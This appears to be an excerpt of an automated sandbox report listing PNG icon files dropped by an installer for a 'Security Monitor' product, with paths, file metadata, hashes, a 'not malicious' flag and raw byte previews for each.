SHA1:	02927572E6B55561B729E37406C197BC782A5B08
SHA-256:	F9050D57ED7DDF92CD1B92505BEB33A606EA90682AE918DF2464C0F4ECC8CBEA
SHA-512:	646C7DEF65B4921CE55246D408348E10628B55FB4D5F920EE69CEC88F3F3C38BB1157C749CA4F0B13710AA431DFA4229E4D67380AF0A0FBF78A9958ACB739464
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......P...... %....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\is-023FE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 210 x 336, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19730
Entropy (8bit):	7.966645049778982
Encrypted:	false
SSDEEP:	384:qJXE056Cv0Ek+u9AOgo8KWTVQSSKOhFjVdQO0MUCguUfrDlk0m0pe:q35fv0fjyKQQT4MyxrZwIe
MD5:	31EC3A003CF3D2C1CDE419B2770AE700
SHA1:	02927572E6B55561B729E37406C197BC782A5B08
SHA-256:	F9050D57ED7DDF92CD1B92505BEB33A606EA90682AE918DF2464C0F4ECC8CBEA
SHA-512:	646C7DEF65B4921CE55246D408348E10628B55FB4D5F920EE69CEC88F3F3C38BB1157C749CA4F0B13710AA431DFA4229E4D67380AF0A0FBF78A9958ACB739464
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......P...... %....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\is-UIB0G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 1122 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	36574
Entropy (8bit):	7.983280552060311
Encrypted:	false
SSDEEP:	768:3WN9F6pKVwko1aCYqIfw7dVCOyauFqRZd96/UCfD0J1RGz3/:3WDwc6kHYI47wqRzc/bfDG1RGj/
MD5:	6013CCDC5004442BD8EB1EAEE1A2FDFE
SHA1:	7447A346E5E2002E4EF6C56E149EB140ECC5F192
SHA-256:	065857BDAEC7F2E73BA3F7B81D627B94794B67E35D62168F439200FC840412A5
SHA-512:	2047C8F6BAFCC06124A2BD3776475B89C2470090DEB186AF88787E0AFA2DDC0462C70FEBF58ECED3F192E5DC918BE37F4A17EAAA63D337C8A176099F818F9A25
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...b...<.....-.......tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:557A66613F9D11E2B86C971723AA9104" xmpMM:DocumentID="xmp.did:557A66623F9D11E2B86C971723AA9104"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:557A665F3F9D11E2B86C971723AA9104" stRef:documentID="xmp.did:557A66603F9D11E2B86C971723AA9104"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>-2.....RIDATx..].x...~.eM...^....$.@.e.({..B...Z...~J[Z.-PJ[.t0...E.3.;v......=.c;.-[..$.........s.......'...7.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_block.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5873
Entropy (8bit):	7.9422746739510455
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTbCCivsM0hVEz9EEWJcLWmu9H3s5cVQOVplQG:LSDS0tKg9E05TdMiEz9IJcVOVQG
MD5:	08696DFA1637279FCD315A0D2B13EA6E
SHA1:	9579D2CC5852F05288E2205F060F6C18F5619C39
SHA-256:	7C9CBFC634C58F761DFE138DD770C533B5DDDCF222FDE0B3BACFBB76F9A4CD9F
SHA-512:	F38BDF328BE3A4D7003A9216BDF2A9FAD1E53B130DAE37CA2BFC2CA36A497392A03950B137A1363AA25523068A38C87D6B19D5EFFAF0D5E421CE346140B9B444
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_cal.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	6513
Entropy (8bit):	7.938370771306964
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTQ27DriW08tOW633IfYjzfxKoKg49BM+Uf9C4jc:LSDS0tKg9E05TQ2jX08MQgHx6Sxm3Cg7
MD5:	538614FCC5E9A342D74CFB01246E3755
SHA1:	3496DD97D840823F928213E7E69BB8386EA057DC
SHA-256:	3524B51003AC153E7A40775C3955AA8E3F60AE99F99E514DB60A4BED628C16BC
SHA-512:	A2689D78B11B7C48BABAD5FC97672F6173DFF0DF3C082F6403581FFA45AE7E123BAA93B46DC3495CAD42328959E0EEBA68C70F35E371D175A5E406A9BAFED576
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_chat.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5507
Entropy (8bit):	7.929272432606936
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTlzb1sV3wLir9SfPUZ+IK0UAPcWNSB:LSDS0tKg9E05TBbUA+9CGK0xy
MD5:	581AD143944C6620786FE8E8FC09EE1D
SHA1:	E933A895E544CC90F45F3F93E0F28545A780CCBC
SHA-256:	1855774FD5C9C275F57970DDAD469EB71B9841D8C3440128F9351C960A8F0B4E
SHA-512:	072AB07C04E55FE3D1033FFB491EB6F180E40E8691003E46A9EB6CB37857423A2C4704C8683C4DEDFC89D79AB5BE61D2BAA8069245861EBD4865B1C67EBF42E8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_device1.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 346 x 54, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	20030
Entropy (8bit):	7.985863672702684
Encrypted:	false
SSDEEP:	384:KJXE050lAI9uOflF5XFBw+q7hYwPXsUoRGf0wp4vF:K350f95fl1uD7/XuC4vF
MD5:	E01B942B6936DF2AF64EE809086A5334
SHA1:	6601FE8901F8F131CF47352896B01C8DCFD4C963
SHA-256:	E5FEAB5FF923032A51C09F3D61DB2C4AE052CEA6691F034F397207EACC3C2283
SHA-512:	8B21E8B99218F8A0646A418BF3B184A7F8BA1A8061A60383E1EF0BECF85CD07DD68478AD8225A17ED1458DCCC49585B77FF77407F016D95FE57FAD3E8C305BE9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...Z...6.......au....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_gps.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 66 x 67, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	7889
Entropy (8bit):	7.956855049886426
Encrypted:	false
SSDEEP:	192:fSDS0tKg9E05TVL0ZW4wNoOfMK98rfXQoEad7vgE:KJXE05105wNl9iPQs7v/
MD5:	5F738BDCCB17BABFD837386300BEF102
SHA1:	41F26EC0399CE58E1550A34C967A876A5F2FC8FB
SHA-256:	07C6155BB34D9BEBF03ECAAD535709B444D156A375F42FED15B26F6414FF63D3
SHA-512:	672E9D39AC2538D2F5CD082BD364E5C554AB0FE0A05A2BBFD4172ABDAA36AB1BCD86CCAACBBE333B85AD3905E25B5E0F0D8355E6290E8340BBE0165FC94C5E57
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...B...C....._.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_rest.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	6329
Entropy (8bit):	7.947037633028336
Encrypted:	false
SSDEEP:	192:LSDS0tKg9E05T58Vi5CX4vwjS9b+2xv+RfO17:+JXE05GIg4ojub+2xvt7
MD5:	03AF571726FE2C2A27BFACE13DE342A6
SHA1:	A350EC8147AE0AD79E8155E7FF62772C9A0AB339
SHA-256:	93C34A8EB0A686EDD27DCEFDAD5AFDDB2005FE27E09EE9880475E35F09A68BCA
SHA-512:	29B0DD9B86A559710262CEA72EF08DDDB9B91621C1BFC21A8E2B5EDDEE7D0EBC73A778B2AF1198903F5EC3EC59891E3EA0B991D3D48FD49938FA047706ABEBBB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_web.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5798
Entropy (8bit):	7.935696994639288
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nT4+KjhO/UW3j12FlHdjuxgXZLqKhiz:LSDS0tKg9E05TEjE8aoxdqqXZdEz
MD5:	5503FA64C9D05F3025834D93A81AF764
SHA1:	CD2ABB0DD317BAAB5ED12488B7EF0EB76795F95D
SHA-256:	F4EE63F12CE2753CF71A160F5D7772E998CF5B6DBD4BB27502AE43789D9DA822
SHA-512:	AB205307CEA14D14FA7CCE024244FCF5AAE6DA6F7825058A3061CB88DCDE2579DBB6670516559792B631B2A39E756BF4E81ED63C16C205AFDEFCFCBD42F07245
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-8VMRU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	6329
Entropy (8bit):	7.947037633028336
Encrypted:	false
SSDEEP:	192:LSDS0tKg9E05T58Vi5CX4vwjS9b+2xv+RfO17:+JXE05GIg4ojub+2xvt7
MD5:	03AF571726FE2C2A27BFACE13DE342A6
SHA1:	A350EC8147AE0AD79E8155E7FF62772C9A0AB339
SHA-256:	93C34A8EB0A686EDD27DCEFDAD5AFDDB2005FE27E09EE9880475E35F09A68BCA
SHA-512:	29B0DD9B86A559710262CEA72EF08DDDB9B91621C1BFC21A8E2B5EDDEE7D0EBC73A778B2AF1198903F5EC3EC59891E3EA0B991D3D48FD49938FA047706ABEBBB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-90G1A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 66 x 67, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	7889
Entropy (8bit):	7.956855049886426
Encrypted:	false
SSDEEP:	192:fSDS0tKg9E05TVL0ZW4wNoOfMK98rfXQoEad7vgE:KJXE05105wNl9iPQs7v/
MD5:	5F738BDCCB17BABFD837386300BEF102
SHA1:	41F26EC0399CE58E1550A34C967A876A5F2FC8FB
SHA-256:	07C6155BB34D9BEBF03ECAAD535709B444D156A375F42FED15B26F6414FF63D3
SHA-512:	672E9D39AC2538D2F5CD082BD364E5C554AB0FE0A05A2BBFD4172ABDAA36AB1BCD86CCAACBBE333B85AD3905E25B5E0F0D8355E6290E8340BBE0165FC94C5E57
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...B...C....._.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-DM7VE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5798
Entropy (8bit):	7.935696994639288
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nT4+KjhO/UW3j12FlHdjuxgXZLqKhiz:LSDS0tKg9E05TEjE8aoxdqqXZdEz
MD5:	5503FA64C9D05F3025834D93A81AF764
SHA1:	CD2ABB0DD317BAAB5ED12488B7EF0EB76795F95D
SHA-256:	F4EE63F12CE2753CF71A160F5D7772E998CF5B6DBD4BB27502AE43789D9DA822
SHA-512:	AB205307CEA14D14FA7CCE024244FCF5AAE6DA6F7825058A3061CB88DCDE2579DBB6670516559792B631B2A39E756BF4E81ED63C16C205AFDEFCFCBD42F07245
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-EHG83.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 122 x 295, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29784
Entropy (8bit):	7.980725536896858
Encrypted:	false
SSDEEP:	384:RJXE05H3FyEuuqIMky+JU2JzDvj4Ygzc+Cv23bS5PdnFKo79yBbKafVLgkjPSTjG:z35I4qWNJVzAYkl3G51odZfmjymQ7l
MD5:	4C0A6A977EB10BA6ACB252E1C29141F7
SHA1:	3F5E32E79A7D3DB63C8D0BFF06CE43DF0EC6092F
SHA-256:	91853EDF8E536457D93044FCAA5412807368B6B6C88366E05738F3C8A4D031BC
SHA-512:	6C016AABA1B638EC8B2D22CE0AC4B23F662F9D2A372CA016ED5CFDDD72FAAD1A876600E78EEAB27DDE1FAAB47A43AE7CE805B33C43218240BAAC006DA74E569B
